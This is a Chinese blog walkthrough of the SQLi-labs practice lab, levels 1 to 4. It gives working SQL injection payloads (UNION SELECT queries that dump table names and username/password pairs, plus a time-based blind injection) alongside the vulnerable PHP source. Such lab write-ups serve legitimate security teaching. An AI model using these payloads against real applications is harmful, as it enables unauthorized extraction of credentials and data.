【Sqli-Labs-Master】Less1-4

本文深入探讨了SQL注入攻击的各种技巧,包括如何利用错误消息、联合查询、字符串拼接等手段来探测数据库结构和内容。通过具体实例,如PHPStudy环境下的SQLi-labs练习,详细解析了不同场景下SQL注入的实施方法。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

phpstudy2016:链接:http://pan.baidu.com/s/1bpbEBCj 密码:fmr4

sqli-labs-master:链接:http://pan.baidu.com/s/1jH4WlMY 密码:11mj

Less-1

?id=1' 报错

?id=1'%23 返回正常

?id=1' order by 3%23  返回正常

?id=1' order by 4%23  报错,说明表中有三列

?id=-1' union select 1,2,3%23  只有第一句话id=-1为空,才能回显后面的内容。

回显2,3  说明可以利用这两列回显我想要的董西

猜数据库名

?id=-1' union select 1,database(),3%23

猜表名

concat(str1,str2,...)——没有分隔符地连接字符串

?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'%23

或者可以直接

?id=-1' union select 1, group_concat(table_name),3 from information_schema.tables where table_schema=database()

猜列名

?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'%23

猜内容

concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串

?id=-1' union select 1,concat_ws('%23',username,password),3 from users limit 0,1%23

后台查看一下源代码:

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; 
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

 

Less-2

?id=1 order by 4  报错

?id=1 order by 3  不报错,测试得到三列 

?id=-1 union select 1,2,3%23

后台查看一下源代码:

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1"; 
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

 

Less-3

单引号加括号闭合

?id=1'  报错

?id=1') %23  成功回显

?id=-1') union select 1,database(),3%23

后台查看一下源代码:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; 
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

 

Less-4

双引号加括号闭合

?id=1'  没有报错

?id=1"  报错

?id=1")%23  成功回显

?id=-1") union select 1,database(),3%23

查看一下源代码:

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1"; 
$result=mysql_query($sql);
$row = mysql_fetch_array($result);

 

### SQL注入漏洞的基本原理 SQL注入是一种常见的Web安全漏洞,攻击者通过在输入字段中插入恶意的SQL代码,从而操控后端数据库。这种攻击可以导致数据泄露、数据篡改,甚至完全控制数据库服务器。SQL注入通常发生在应用程序没有正确过滤用户输入的情况下。 ### Less-1 漏洞利用教程 Less-1 是 `sqli-labs-master` 项目中的第一个实验环境,旨在帮助学习者理解和练习SQL注入技术。该实验环境模拟了一个存在SQL注入漏洞的Web应用。 #### 判断注入类型 首先需要确定目标是否存在SQL注入漏洞,并识别其类型(字符型或数字型)。对于Less-1,可以通过尝试添加单引号 (`'`) 到URL参数来触发错误消息,进而判断注入点的存在[^4]。 #### 获取数据库信息 一旦确认存在注入点,下一步是获取数据库的信息,如数据库名称、表名和列名等。这可以通过使用`UNION SELECT`语句结合`group_concat()`函数来实现。例如,通过访问以下链接可以获取用户名和密码: ``` http://127.0.0.1/sqli-labs-php7-master/Less-1/?id=-1'union select 1,2,group_concat(concat_ws('~~',username,password)) from security.users --+ ``` 此请求将返回一个包含所有用户名和密码的字符串,用以展示如何从数据库中提取敏感信息[^3]。 #### 使用布尔盲注 如果直接查询无法获得预期结果,可以采用布尔盲注技术。这种方法依赖于根据查询是否为真来推断数据库的信息。例如,通过发送如下请求来估计当前数据库名称的长度: ``` http://127.0.0.1/sqli-labs-master/Less-9/?id=1' AND IF(LENGTH(database())<10,sleep(1),1) -- a ``` 这里使用了`IF`条件语句配合`SLEEP()`函数,当条件满足时会使服务器延迟响应,以此判断条件真假[^1]。 #### 导入数据库 为了更好地理解和实践这些实验,可能还需要导入预先准备好的数据库结构。可以通过MySQL客户端工具执行SQL文件来完成这一操作: ```bash mysql -u root -p < Less-1/sqlmapless1.sql ``` 这条命令会提示输入密码,之后将指定的SQL文件导入到MySQL数据库中,设置好实验所需的环境[^2]。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值